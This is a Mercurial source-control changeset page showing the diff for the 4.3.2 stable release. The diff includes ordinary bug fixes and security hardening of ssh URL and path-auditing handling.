Mercurial > public > mercurial-scm > hg-stable
changeset 33680:920977f72c7b stable 4.3.2
merge with i18n
author | Augie Fackler <augie@google.com> |
---|---|
date | Mon, 18 Sep 2017 11:51:41 -0400 |
parents | 734983de2291 (diff) a00580bc135f (current diff) |
children | 42a7e58d6d94 |
files | |
diffstat | 68 files changed, 1403 insertions(+), 195 deletions(-) [+] |
line wrap: on
line diff
--- a/.hgsigs Mon Jul 31 12:18:42 2017 -0300 +++ b/.hgsigs Mon Sep 18 11:51:41 2017 -0400 @@ -147,3 +147,6 @@ c850f0ed54c1d42f9aa079ad528f8127e5775217 0 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
--- a/.hgtags Mon Jul 31 12:18:42 2017 -0300 +++ b/.hgtags Mon Sep 18 11:51:41 2017 -0400 @@ -160,3 +160,6 @@ c850f0ed54c1d42f9aa079ad528f8127e5775217 4.2.1 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788 4.2.2 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc +5544af8622863796a0027566f6b646e10d522c4c 4.3 +943c91326b23954e6e1c6960d0239511f9530258 4.2.3 +3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1
--- a/Makefile Mon Jul 31 12:18:42 2017 -0300 +++ b/Makefile Mon Sep 18 11:51:41 2017 -0400 @@ -63,7 +63,7 @@ cleanbutpackages: -$(PYTHON) setup.py clean --all # ignore errors from this command - find contrib doc hgext hgext3rd i18n mercurial tests \ + find contrib doc hgext hgext3rd i18n mercurial tests hgdemandimport \ \( -name '*.py[cdo]' -o -name '*.so' \) -exec rm -f '{}' ';' rm -f MANIFEST MANIFEST.in hgext/__index__.py tests/*.err rm -f mercurial/__modulepolicy__.py @@ -186,7 +186,7 @@ PREFIX=/usr/local \ clean install mkdir -p $${OUTPUTDIR:-dist} - HGVER=$(shell python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py ) && \ + HGVER=$$(python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py) && \ OSXVER=$$(sw_vers -productVersion | cut -d. -f1,2) && \ pkgbuild --filter \\.DS_Store --root build/mercurial/ \ --identifier org.mercurial-scm.mercurial \
--- a/README Mon Jul 31 12:18:42 2017 -0300 +++ b/README Mon Sep 18 11:51:41 2017 -0400 @@ -4,14 +4,14 @@ Mercurial is a fast, easy to use, distributed revision control tool for software developers. -Basic install: +Basic install:: $ make # see install targets $ make install # do a system-wide install $ hg debuginstall # sanity-check setup $ hg # see help -Running without installing: +Running without installing:: $ make local # build for inplace usage $ ./hg --version # should show the latest version
--- a/contrib/chg/Makefile Mon Jul 31 12:18:42 2017 -0300 +++ b/contrib/chg/Makefile Mon Sep 18 11:51:41 2017 -0400 @@ -5,7 +5,7 @@ OBJS = $(SRCS:.c=.o) CFLAGS ?= -O2 -Wall -Wextra -pedantic -g -CPPFLAGS ?= -D_FORTIFY_SOURCE=2 +CPPFLAGS ?= -D_FORTIFY_SOURCE=2 -D_GNU_SOURCE override CFLAGS += -std=gnu99 ifdef HGPATH override CPPFLAGS += -DHGPATH=\"$(HGPATH)\"
--- a/contrib/docker/centos5 Mon Jul 31 12:18:42 2017 -0300 +++ b/contrib/docker/centos5 Mon Sep 18 11:51:41 2017 -0400 @@ -1,4 +1,7 @@ FROM centos:centos5 +RUN sed -i 's/^mirrorlist/#mirrorlist/' /etc/yum.repos.d/*.repo +RUN sed -i 's/^#\(baseurl=\)http:\/\/mirror.centos.org\/centos/\1http:\/\/vault.centos.org/' /etc/yum.repos.d/*.repo +RUN sed -i 's/\$releasever/5.11/' /etc/yum.repos.d/*.repo RUN yum install -y gcc make rpm-build gettext tar RUN yum install -y python-devel python-docutils # For creating repo meta data
--- a/hgext/commitextras.py Mon Jul 31 12:18:42 2017 -0300 +++ b/hgext/commitextras.py Mon Sep 18 11:51:41 2017 -0400 @@ -9,6 +9,8 @@ from __future__ import absolute_import +import re + from mercurial.i18n import _ from mercurial import ( commands, @@ -52,6 +54,13 @@ "KEY=VALUE format") raise error.Abort(msg % raw) k, v = raw.split('=', 1) + if not k: + msg = _("unable to parse '%s', keys can't be empty") + raise error.Abort(msg % raw) + if re.search('[^\w-]', k): + msg = _("keys can only contain ascii letters, digits," + " '_' and '-'") + raise error.Abort(msg) if k in usedinternally: msg = _("key '%s' is used internally, can't be set " "manually")
--- a/hgext/fsmonitor/__init__.py Mon Jul 31 12:18:42 2017 -0300 +++ b/hgext/fsmonitor/__init__.py Mon Sep 18 11:51:41 2017 -0400 @@ -382,7 +382,7 @@ visit.update(f for f in copymap if f not in results and matchfn(f)) - audit = pathutil.pathauditor(self._root).check + audit = pathutil.pathauditor(self._root, cached=True).check auditpass = [f for f in visit if audit(f)] auditpass.sort() auditfail = visit.difference(auditpass)
--- a/hgext/mq.py Mon Jul 31 12:18:42 2017 -0300 +++ b/hgext/mq.py Mon Sep 18 11:51:41 2017 -0400 @@ -503,8 +503,11 @@ self.guardsdirty = False self.activeguards = None - def diffopts(self, opts=None, patchfn=None): - diffopts = patchmod.diffopts(self.ui, opts) + def diffopts(self, opts=None, patchfn=None, plain=False): + """Return diff options tweaked for this mq use, possibly upgrading to + git format, and possibly plain and without lossy options.""" + diffopts = patchmod.difffeatureopts(self.ui, opts, + git=True, whitespace=not plain, formatchanging=not plain) if self.gitmode == 'auto': diffopts.upgrade = True elif self.gitmode == 'keep': @@ -1177,7 +1180,7 @@ date = opts.get('date') if date: date = util.parsedate(date) - diffopts = self.diffopts({'git': opts.get('git')}) + diffopts = self.diffopts({'git': opts.get('git')}, plain=True) if opts.get('checkname', True): self.checkpatchname(patchfn) inclsubs = checksubstate(repo) @@ -1642,7 +1645,8 @@ substatestate = repo.dirstate['.hgsubstate'] ph = patchheader(self.join(patchfn), self.plainmode) - diffopts = self.diffopts({'git': opts.get('git')}, patchfn) + diffopts = self.diffopts({'git': opts.get('git')}, patchfn, + plain=True) if newuser: ph.setuser(newuser) if newdate:
--- a/hgext/rebase.py Mon Jul 31 12:18:42 2017 -0300 +++ b/hgext/rebase.py Mon Sep 18 11:51:41 2017 -0400 @@ -472,7 +472,7 @@ commitmsg = self.collapsemsg else: commitmsg = 'Collapsed revision' - for rebased in self.state: + for rebased in sorted(self.state): if rebased not in self.skipped and\ self.state[rebased] > nullmerge: commitmsg += '\n* %s' % repo[rebased].description()
--- a/i18n/hggettext Mon Jul 31 12:18:42 2017 -0300 +++ b/i18n/hggettext Mon Sep 18 11:51:41 2017 -0400 @@ -112,14 +112,20 @@ for func, rstrip in functions: if func.__doc__: + funcmod = inspect.getmodule(func) + extra = '' + if funcmod.__package__ == funcmod.__name__: + extra = '/__init__' + actualpath = '%s%s.py' % (funcmod.__name__.replace('.', '/'), extra) + src = inspect.getsource(func) - name = "%s.%s" % (path, func.__name__) + name = "%s.%s" % (actualpath, func.__name__) lineno = inspect.getsourcelines(func)[1] doc = func.__doc__ if rstrip: doc = doc.rstrip() lineno += offset(src, doc, name, 1) - print(poentry(path, lineno, doc)) + print(poentry(actualpath, lineno, doc)) def rawtext(path):
--- a/mercurial/branchmap.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/branchmap.py Mon Sep 18 11:51:41 2017 -0400 @@ -406,7 +406,8 @@ # fast path: extract data from cache, use it if node is matching reponode = changelog.node(rev)[:_rbcnodelen] - cachenode, branchidx = unpack_from(_rbcrecfmt, self._rbcrevs, rbcrevidx) + cachenode, branchidx = unpack_from( + _rbcrecfmt, util.buffer(self._rbcrevs), rbcrevidx) close = bool(branchidx & _rbccloseflag) if close: branchidx &= _rbcbranchidxmask
--- a/mercurial/changegroup.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/changegroup.py Mon Sep 18 11:51:41 2017 -0400 @@ -872,6 +872,11 @@ versions.discard('02') return versions +def localversion(repo): + # Finds the best version to use for bundles that are meant to be used + # locally, such as those from strip and shelve, and temporary bundles. + return max(supportedoutgoingversions(repo)) + def safeversion(repo): # Finds the smallest version that it's safe to assume clients of the repo # will support. For example, all hg versions that support generaldelta also
--- a/mercurial/cmdutil.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/cmdutil.py Mon Sep 18 11:51:41 2017 -0400 @@ -26,6 +26,7 @@ changelog, copies, crecord as crecordmod, + dirstateguard, encoding, error, formatter, @@ -2888,14 +2889,23 @@ message = logmessage(ui, opts) matcher = scmutil.match(repo[None], pats, opts) + dsguard = None # extract addremove carefully -- this function can be called from a command # that doesn't support addremove - if opts.get('addremove'): - if scmutil.addremove(repo, matcher, "", opts) != 0: - raise error.Abort( - _("failed to mark all new/missing files as added/removed")) - - return commitfunc(ui, repo, message, matcher, opts) + try: + if opts.get('addremove'): + dsguard = dirstateguard.dirstateguard(repo, 'commit') + if scmutil.addremove(repo, matcher, "", opts) != 0: + raise error.Abort( + _("failed to mark all new/missing files as added/removed")) + + r = commitfunc(ui, repo, message, matcher, opts) + if dsguard: + dsguard.close() + return r + finally: + if dsguard: + dsguard.release() def samefile(f, ctx1, ctx2): if f in ctx1.manifest(): @@ -3528,7 +3538,7 @@ pass repo.dirstate.remove(f) - audit_path = pathutil.pathauditor(repo.root) + audit_path = pathutil.pathauditor(repo.root, cached=True) for f in actions['forget'][0]: if interactive: choice = repo.ui.promptchoice(
--- a/mercurial/commands.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/commands.py Mon Sep 18 11:51:41 2017 -0400 @@ -3335,7 +3335,9 @@ revisions. See :hg:`help templates` for more about pre-packaged styles and - specifying custom templates. + specifying custom templates. The default template used by the log + command can be customized via the ``ui.logtemplate`` configuration + setting. Returns 0 on success.
--- a/mercurial/debugcommands.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/debugcommands.py Mon Sep 18 11:51:41 2017 -0400 @@ -2078,10 +2078,10 @@ 'Windows')) if not source: + if not repo: + raise error.Abort(_("there is no Mercurial repository here, and no " + "server specified")) source = "default" - elif not repo: - raise error.Abort(_("there is no Mercurial repository here, and no " - "server specified")) source, branches = hg.parseurl(ui.expandpath(source)) url = util.url(source)
--- a/mercurial/dirstate.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/dirstate.py Mon Sep 18 11:51:41 2017 -0400 @@ -1153,7 +1153,7 @@ # that wasn't ignored, and everything that matched was stat'ed # and is already in results. # The rest must thus be ignored or under a symlink. - audit_path = pathutil.pathauditor(self._root) + audit_path = pathutil.pathauditor(self._root, cached=True) for nf in iter(visit): # If a stat for the same file was already added with a
--- a/mercurial/dispatch.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/dispatch.py Mon Sep 18 11:51:41 2017 -0400 @@ -828,6 +828,7 @@ color.setup(ui_) if util.parsebool(options['pager']): + # ui.pager() expects 'internal-always-' prefix in this case ui.pager('internal-always-' + cmd) elif options['pager'] != 'auto': ui.disablepager()
--- a/mercurial/hgweb/hgwebdir_mod.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/hgweb/hgwebdir_mod.py Mon Sep 18 11:51:41 2017 -0400 @@ -173,7 +173,8 @@ encoding.encoding = self.ui.config('web', 'encoding', encoding.encoding) self.style = self.ui.config('web', 'style', 'paper') - self.templatepath = self.ui.config('web', 'templates', None) + self.templatepath = self.ui.config('web', 'templates', None, + untrusted=False) self.stripecount = self.ui.config('web', 'stripes', 1) if self.stripecount: self.stripecount = int(self.stripecount)
--- a/mercurial/localrepo.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/localrepo.py Mon Sep 18 11:51:41 2017 -0400 @@ -339,11 +339,11 @@ # only used when writing this comment: basectx.match self.auditor = pathutil.pathauditor(self.root, self._checknested) self.nofsauditor = pathutil.pathauditor(self.root, self._checknested, - realfs=False) + realfs=False, cached=True) self.baseui = baseui self.ui = baseui.copy() self.ui.copy = baseui.copy # prevent copying repo configuration - self.vfs = vfsmod.vfs(self.path) + self.vfs = vfsmod.vfs(self.path, cacheaudited=True) if (self.ui.configbool('devel', 'all-warnings') or self.ui.configbool('devel', 'check-locks')): self.vfs.audit = self._getvfsward(self.vfs.audit) @@ -426,12 +426,13 @@ '"sparse" extensions to access')) self.store = store.store( - self.requirements, self.sharedpath, vfsmod.vfs) + self.requirements, self.sharedpath, + lambda base: vfsmod.vfs(base, cacheaudited=True)) self.spath = self.store.path self.svfs = self.store.vfs self.sjoin = self.store.join self.vfs.createmode = self.store.createmode - self.cachevfs = vfsmod.vfs(cachepath) + self.cachevfs = vfsmod.vfs(cachepath, cacheaudited=True) self.cachevfs.createmode = self.store.createmode if (self.ui.configbool('devel', 'all-warnings') or self.ui.configbool('devel', 'check-locks')):
--- a/mercurial/patch.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/patch.py Mon Sep 18 11:51:41 2017 -0400 @@ -972,7 +972,7 @@ that, swap fromline/toline and +/- signs while keep other things unchanged. """ - m = {'+': '-', '-': '+'} + m = {'+': '-', '-': '+', '\\': '\\'} hunk = ['%s%s' % (m[l[0]], l[1:]) for l in self.hunk] return recordhunk(self.header, self.toline, self.fromline, self.proc, self.before, hunk, self.after)
--- a/mercurial/pathutil.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/pathutil.py Mon Sep 18 11:51:41 2017 -0400 @@ -33,13 +33,18 @@ The file system checks are only done when 'realfs' is set to True (the default). They should be disable then we are auditing path for operation on stored history. + + If 'cached' is set to True, audited paths and sub-directories are cached. + Be careful to not keep the cache of unmanaged directories for long because + audited paths may be replaced with symlinks. ''' - def __init__(self, root, callback=None, realfs=True): + def __init__(self, root, callback=None, realfs=True, cached=False): self.audited = set() self.auditeddir = set() self.root = root self._realfs = realfs + self._cached = cached self.callback = callback if os.path.lexists(root) and not util.fscasesensitive(root): self.normcase = util.normcase @@ -96,10 +101,11 @@ self._checkfs(prefix, path) prefixes.append(normprefix) - self.audited.add(normpath) - # only add prefixes to the cache after checking everything: we don't - # want to add "foo/bar/baz" before checking if there's a "foo/.hg" - self.auditeddir.update(prefixes) + if self._cached: + self.audited.add(normpath) + # only add prefixes to the cache after checking everything: we don't + # want to add "foo/bar/baz" before checking if there's a "foo/.hg" + self.auditeddir.update(prefixes) def _checkfs(self, prefix, path): """raise exception if a file system backed check fails"""
--- a/mercurial/posix.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/posix.py Mon Sep 18 11:51:41 2017 -0400 @@ -23,6 +23,7 @@ from .i18n import _ from . import ( encoding, + error, pycompat, ) @@ -91,7 +92,13 @@ def sshargs(sshcmd, host, user, port): '''Build argument list for ssh''' args = user and ("%s@%s" % (user, host)) or host - return port and ("%s -p %s" % (args, port)) or args + if '-' in args[:1]: + raise error.Abort( + _('illegal ssh hostname or username starting with -: %s') % args) + args = shellquote(args) + if port: + args = '-p %s %s' % (shellquote(port), args) + return args def isexec(f): """check whether a file is executable"""
--- a/mercurial/pycompat.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/pycompat.py Mon Sep 18 11:51:41 2017 -0400 @@ -16,6 +16,7 @@ import sys ispy3 = (sys.version_info[0] >= 3) +ispypy = (r'__pypy__' in sys.builtin_module_names) if not ispy3: import cookielib
--- a/mercurial/repair.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/repair.py Mon Sep 18 11:51:41 2017 -0400 @@ -38,7 +38,7 @@ totalhash = hashlib.sha1(''.join(allhashes)).hexdigest() name = "%s/%s-%s-%s.hg" % (backupdir, short(node), totalhash[:8], suffix) - cgversion = changegroup.safeversion(repo) + cgversion = changegroup.localversion(repo) comp = None if cgversion != '01': bundletype = "HG20"
--- a/mercurial/scmutil.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/scmutil.py Mon Sep 18 11:51:41 2017 -0400 @@ -738,7 +738,7 @@ This is different from dirstate.status because it doesn't care about whether files are modified or clean.''' added, unknown, deleted, removed, forgotten = [], [], [], [], [] - audit_path = pathutil.pathauditor(repo.root) + audit_path = pathutil.pathauditor(repo.root, cached=True) ctx = repo[None] dirstate = repo.dirstate
--- a/mercurial/sshpeer.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/sshpeer.py Mon Sep 18 11:51:41 2017 -0400 @@ -139,6 +139,8 @@ if u.scheme != 'ssh' or not u.host or u.path is None: self._abort(error.RepoError(_("couldn't parse location %s") % path)) + util.checksafessh(path) + self.user = u.user if u.passwd is not None: self._abort(error.RepoError(_("password in URL not supported"))) @@ -149,10 +151,7 @@ sshcmd = self.ui.config("ui", "ssh") remotecmd = self.ui.config("ui", "remotecmd") - args = util.sshargs(sshcmd, - _serverquote(self.host), - _serverquote(self.user), - _serverquote(self.port)) + args = util.sshargs(sshcmd, self.host, self.user, self.port) if create: cmd = '%s %s %s' % (sshcmd, args, @@ -191,23 +190,33 @@ self.pipei = doublepipe(self.ui, self.pipei, self.pipee) self.pipeo = doublepipe(self.ui, self.pipeo, self.pipee) - # skip any noise generated by remote shell - self._callstream("hello") - r = self._callstream("between", pairs=("%s-%s" % ("0"*40, "0"*40))) + def badresponse(): + self._abort(error.RepoError(_('no suitable response from ' + 'remote hg'))) + + try: + # skip any noise generated by remote shell + self._callstream("hello") + r = self._callstream("between", pairs=("%s-%s" % ("0"*40, "0"*40))) + except IOError: + badresponse() + lines = ["", "dummy"] max_noise = 500 while lines[-1] and max_noise: - l = r.readline() - self.readerr() - if lines[-1] == "1\n" and l == "\n": - break - if l: - self.ui.debug("remote: ", l) - lines.append(l) - max_noise -= 1 + try: + l = r.readline() + self.readerr() + if lines[-1] == "1\n" and l == "\n": + break + if l: + self.ui.debug("remote: ", l) + lines.append(l) + max_noise -= 1 + except IOError: + badresponse() else: - self._abort(error.RepoError(_('no suitable response from ' - 'remote hg'))) + badresponse() self._caps = set() for l in reversed(lines):
--- a/mercurial/statichttprepo.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/statichttprepo.py Mon Sep 18 11:51:41 2017 -0400 @@ -182,6 +182,10 @@ def peer(self): return statichttppeer(self) + def wlock(self, wait=True): + raise error.LockUnavailable(0, _('lock not available'), 'lock', + _('cannot lock static-http repository')) + def lock(self, wait=True): raise error.Abort(_('cannot lock static-http repository'))
--- a/mercurial/subrepo.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/subrepo.py Mon Sep 18 11:51:41 2017 -0400 @@ -1281,6 +1281,10 @@ # The revision must be specified at the end of the URL to properly # update to a directory which has since been deleted and recreated. args.append('%s@%s' % (state[0], state[1])) + + # SEC: check that the ssh url is safe + util.checksafessh(state[0]) + status, err = self._svncommand(args, failok=True) _sanitize(self.ui, self.wvfs, '.svn') if not re.search('Checked out revision [0-9]+.', status): @@ -1546,6 +1550,9 @@ def _fetch(self, source, revision): if self._gitmissing(): + # SEC: check for safe ssh url + util.checksafessh(source) + source = self._abssource(source) self.ui.status(_('cloning subrepo %s from %s\n') % (self._relpath, source))
--- a/mercurial/templatekw.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/templatekw.py Mon Sep 18 11:51:41 2017 -0400 @@ -208,10 +208,22 @@ latesttags[rev] = ctx.date()[0], 0, [t for t in sorted(tags)] continue try: - # The tuples are laid out so the right one can be found by - # comparison. - pdate, pdist, ptag = max( - latesttags[p.rev()] for p in ctx.parents()) + ptags = [latesttags[p.rev()] for p in ctx.parents()] + if len(ptags) > 1: + if ptags[0][2] == ptags[1][2]: + # The tuples are laid out so the right one can be found by + # comparison in this case. + pdate, pdist, ptag = max(ptags) + else: + def key(x): + changessincetag = len(repo.revs('only(%d, %s)', + ctx.rev(), x[2][0])) + # Smallest number of changes since tag wins. Date is + # used as tiebreaker. + return [-changessincetag, x[0]] + pdate, pdist, ptag = max(ptags, key=key) + else: + pdate, pdist, ptag = ptags[0] except KeyError: # Cache miss - recurse todo.append(rev)
--- a/mercurial/ui.py Mon Jul 31 12:18:42 2017 -0300 +++ b/mercurial/ui.py Mon Sep 18 11:51:41 2017 -0400 @@ -904,7 +904,8 @@ if not getattr(self.ferr, 'closed', False): self.ferr.flush() except IOError as inst: - raise error.StdioError(inst) + if inst.errno not in (errno.EPIPE, errno.EIO, errno.EBADF): + raise error.StdioError(inst) def flush(self): # opencode timeblockedsection because this is a critical path @@ -913,12 +914,14 @@ try: self.fout.flush() except IOError as err: - raise error.StdioError(err) + if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF): + raise error.StdioError(err) finally: try: self.ferr.flush() except IOError as err: - raise error.StdioError(err) + if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF): + raise error.StdioError(err) finally: self._blockedtimes['stdio_blocked'] += \ (util.timer() - starttime) * 1000 @@ -945,8 +948,14 @@ not "history, "summary" not "summ", etc. """ if (self._disablepager - or self.pageractive - or command in self.configlist('pager', 'ignore') + or self.pageractive): + # how pager should do is already determined + return + + if not command.startswith('internal-always-') and ( + # explicit --pager=on (= 'internal-always-' prefix) should + # take precedence over disabling factors below + command in self.configlist('pager', 'ignore') or not self.configbool('ui', 'paginate') or not self.configbool('pager', 'attend-' + command, True) # TODO: if we want to allow HGPLAINEXCEPT=pager, @@ -1209,6 +1218,7 @@ # call write() so output goes through subclassed implementation # e.g. color extension on Windows self.write(prompt, prompt=True) + self.flush() # instead of trying to emulate raw_input, swap (self.fin, # self.fout) with 